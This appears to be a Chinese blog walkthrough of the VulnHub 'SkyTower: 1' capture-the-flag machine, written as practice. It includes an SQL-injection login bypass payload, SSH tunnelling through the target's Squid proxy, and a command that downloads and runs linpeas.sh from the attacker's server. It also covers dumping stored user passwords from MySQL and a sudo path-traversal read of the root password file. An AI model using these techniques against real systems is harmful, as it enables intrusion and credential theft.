您当前的位置: 首页 > 

仙女象

暂无认证

  • 2浏览

    0关注

    136博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

vulnhub SkyTower: 1

仙女象 发布时间:2021-12-21 21:42:25 ,浏览量:2

本文思路

nmap扫描端口---->万能密码登录web,拿到john的ssh密码----->通过代理连接ssh,得到john的shell---->linpeas.sh扫描发现mysql---->通过mysql得到其他用户ssh账户密码---->用sara用户登录并通过sudo命令提权(找到root的密码)

具体步骤 步骤1:nmap扫描
sudo nmap -sS -A -p- 192.168.9.224

扫描到了22端口(ssh,但是状态是filtered,不一定能连接),80端口(http),3128(squid代理,不常见,可能有大用)

步骤2:nikto和dirb扫描(没啥大用)

用以下命令扫描,没扫出有用的东西

nikto -host 192.168.9.224
dirb http://192.168.9.224/
步骤3:万能密码登录web,得到ssh用户名和密码

浏览器访问80端口:http://192.168.9.224/,看到一个登录页面

一般这种情况会想到试试默认用户名和弱口令,以及万能密码。

由于这边什么提示都没有,感觉万能密码应该比默认用户名+弱口令靠谱

试了以下e-mail框填 123‘ or 1=1#

返回sql语法报错,从报错信息可见,=显然被过滤了,但是还看不出来or有没有被过滤

再试试 e-mail框填 123‘ or

从报错信息可知or也被过滤了

后来我试了双写绕过,or的大写绕过,都不行。

在网上查找了sql注入等号的绕过方法(sql注入常见绕过技巧 - ctrl_TT豆 - 博客园)之后,

在 e-mail框填 1''2'#

其中表示不等于

成功登录 ,得到ssh用户名john,密码hereisjohn

步骤4: 通过代理进行ssh登录

我先尝试了直接ssh登录,完全没有反应,果然和nmap扫描结果出来之后的猜测一样。

由于nmap还扫描出了3128端口,是个squid代理,我猜测这边应该是需要通过代理来登录ssh。

之前完全没有接触过这方面的知识,只好跟着官网上的writeup学了一下如何通过代理进行ssh连接。

看到两种方法,一种是通过proxytunnel,另一种是通过proxychains

I Climbed the SkyTower, But No Rapunzel :( - FourFourFourFour

https://defsecurityjam.blogspot.com/2015/05/the-sky-tower-vulnerable-vm-walkthrough.html

(1)通过proxytunnel连接ssh

 先输入以下命令,该命令表示本地监听222端口,通过代理服务器192.168.9.224(靶机)的3128端口去访问192.168.9.224(靶机)的22端口

proxytunnel -p 192.168.9.224:3128 -d 127.0.0.1:22 -a 222

输入上述命令后,命令行终端就卡在那儿了,所以要再开一个命令行终端,输入如下命令,确认一下攻击机上的222端口已经开放

netstat -antp tcp | grep :222

接下来就可以进行ssh连接了

ssh john@127.0.0.1 -p 222

然而,连上的瞬间, 连接就断开了……

使用-t参数强制打开一个伪终端

ssh john@127.0.0.1 -p 222 -t "/bin/sh"

 

 (2)通过proxychains连接ssh

这种方法更简单点,不过kali需要proxychains。

首先修改proxychains的配置文件

sudo vim /etc/proxychains4.conf

代理改成靶机的3128端口 

 然后通过proxychains执行ssh命令,也是需要加-t参数

proxychains ssh john@192.168.9.224 -t "/bin/sh"

步骤5:通过mysql发现其他用户账号密码

攻击机起http服务

python -m SimpleHTTPServer 80

到一个john有写权限的目录下,比如/home/john,执行如下命令,下载并执行linpeas.sh

wget http://192.168.9.10/linpeas.sh && chmod 777 linpeas.sh && ./linpeas.sh

 执行结果中有在本地监听的3306端口

 执行如下命令也能发现在本地监听的3306端口,并且可以确认是mysql

netstat -ant
netstat -at

在哪里找mysql的用户名和密码呢?想到登录时报sql语法错误,登录失败,以及登录成功的页面叫login.php,这个文件中应该会有连接数据库并查询的操作。

在/var/www/目录下找到 login.php ,幸运的是,这个文件是所有用户可读的

 

该文件内容中包含了mysql的用户名和密码(root : root)

 

登录mysql 

mysql -u root -p

查看数据库所有表 

mysql> show databases;

 

进入 SkyTech 数据库

mysql> use SkyTech;

查看数据库所有表

mysql> show tables;

查看login表所有内容

mysql> select * from login;

发现了另外两个用户sara和william的账号和密码 

 

 步骤6:sudo提权

用sara用户登录,用户名是sara,密码是ihatethisjob(为啥不用william呢,因为用上一步中william的密码登录不上去)

proxychains ssh sara@192.168.9.224 -t "/bin/sh"

同样也是找个sara有写权限的目录,下载并执行linpeas.sh

执行结果有如下信息,意思是sara可以通过sudo命令以root身份执行

/bin/cat /accounts/*和/bin/ls /accounts/*命令

ls好像在本靶机没啥大用,但cat就有大用了

靶机登录界面提示 flag.txt在/root/目录下

sara用户本身是无法进入/root/目录的

 

 但借助于这个/bin/cat /accounts/*,sara可以读取/root/flag.txt的内容

sudo cat /accounts/../root/flag.txt

 root的密码是theskytower

ssh登录,用户名root,密码theskytower,得到root权限 

 

 

关注
打赏
1661867686
查看更多评论
立即登录/注册

微信扫码登录

0.0414s